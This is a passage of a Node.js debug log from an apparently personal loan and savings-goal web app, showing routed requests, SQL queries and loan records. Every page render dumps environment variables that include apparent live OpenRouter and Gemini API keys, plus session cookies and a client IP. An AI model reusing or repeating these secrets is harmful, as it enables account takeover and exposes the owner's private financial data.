    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:01:45.993Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-24T12:01:45.993Z server-connect:app Executing action step identify
2026-02-24T12:01:45.993Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:45.994Z server-connect:output identity: 1
2026-02-24T12:01:45.994Z server-connect:app Executing action step restrict
2026-02-24T12:01:45.994Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:01:45.994Z server-connect:output restrict: undefined
2026-02-24T12:01:45.994Z server-connect:app Executing action step select
2026-02-24T12:01:45.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [],
    table: { name: 'loan_master' },
    primary: 'id',
    joins: [],
    sub: { loan_details: [Object] },
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_name`, `starting_date`, `ending_date`, `total_amount`, `no_of_emi`, `interest_amount`, `paid_via`, `cash_paid`, `status` from `loan_master` where `loan_master`.`status` = ?'
  }
}
2026-02-24T12:01:46.004Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: '2022-06-07T18:30:00.000Z',
    ending_date: '2027-05-07T18:30:00.000Z',
    total_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    paid_via: null,
    cash_paid: 0,
    status: 0,
    loan_details: [
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object]
    ]
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: '2023-03-04T18:30:00.000Z',
    ending_date: '2026-02-01T18:30:00.000Z',
    total_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    paid_via: null,
    cash_paid: 0,
    status: 0,
    loan_details: [
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object]
    ]
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: '2023-02-14T18:30:00.000Z',
    ending_date: '2028-03-14T18:30:00.000Z',
    total_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    paid_via: null,
    cash_paid: 0,
    status: 0,
    loan_details: [
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object], [Object]
    ]
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: '2023-02-16T18:30:00.000Z',
    ending_date: '2027-01-16T18:30:00.000Z',
    total_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    paid_via: null,
    cash_paid: 0,
    status: 0,
    loan_details: [
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object]
    ]
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: '2023-08-14T18:30:00.000Z',
    ending_date: '2026-08-01T18:30:00.000Z',
    total_amount: 155040,
    no_of_emi: 36,
    interest_amount: null,
    paid_via: null,
    cash_paid: 0,
    status: 0,
    loan_details: [
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object],
      [Object], [Object], [Object], [Object]
    ]
  }
]
2026-02-24T12:01:51.110Z server-connect:router Serving templateView /credit-cards
2026-02-24T12:01:51.110Z server-connect:app Executing action step identify
2026-02-24T12:01:51.111Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:51.111Z server-connect:output identity: 1
2026-02-24T12:01:51.111Z server-connect:app Executing action step restrict
2026-02-24T12:01:51.111Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:01:51.111Z server-connect:output restrict: undefined
2026-02-24T12:01:51.111Z server-connect:router Render template credit-cards
2026-02-24T12:01:51.112Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:01:55.925Z server-connect:router Serving templateView /goal
2026-02-24T12:01:55.925Z server-connect:app Executing action step identify
2026-02-24T12:01:55.925Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:55.925Z server-connect:output identity: 1
2026-02-24T12:01:55.926Z server-connect:app Executing action step restrict
2026-02-24T12:01:55.926Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:01:55.926Z server-connect:output restrict: undefined
2026-02-24T12:01:55.926Z server-connect:router Render template goal
2026-02-24T12:01:55.927Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"32d-bQyRCtywyYhWsYDd9tFx5/zt/Cg"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"32d-bQyRCtywyYhWsYDd9tFx5/zt/Cg"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:01:56.162Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:01:56.164Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:01:56.164Z server-connect:app Executing action step identify
2026-02-24T12:01:56.164Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:56.165Z server-connect:output identity: 1
2026-02-24T12:01:56.165Z server-connect:app Executing action step restrict
2026-02-24T12:01:56.165Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:01:56.165Z server-connect:output restrict: undefined
2026-02-24T12:01:56.166Z server-connect:app Executing action step custom
2026-02-24T12:01:56.167Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:01:56.168Z server-connect:app Executing action step identify
2026-02-24T12:01:56.168Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:56.168Z server-connect:output identity: 1
2026-02-24T12:01:56.168Z server-connect:app Executing action step restrict
2026-02-24T12:01:56.168Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:01:56.169Z server-connect:output restrict: undefined
2026-02-24T12:01:56.169Z server-connect:app Executing action step paged
2026-02-24T12:01:56.169Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:01:56.172Z server-connect:output list: []
2026-02-24T12:01:56.176Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-24T12:02:01.469Z server-connect:router Serving templateView /goal
2026-02-24T12:02:01.469Z server-connect:app Executing action step identify
2026-02-24T12:02:01.469Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:01.469Z server-connect:output identity: 1
2026-02-24T12:02:01.469Z server-connect:app Executing action step restrict
2026-02-24T12:02:01.469Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:01.470Z server-connect:output restrict: undefined
2026-02-24T12:02:01.470Z server-connect:router Render template layouts/main
2026-02-24T12:02:01.470Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
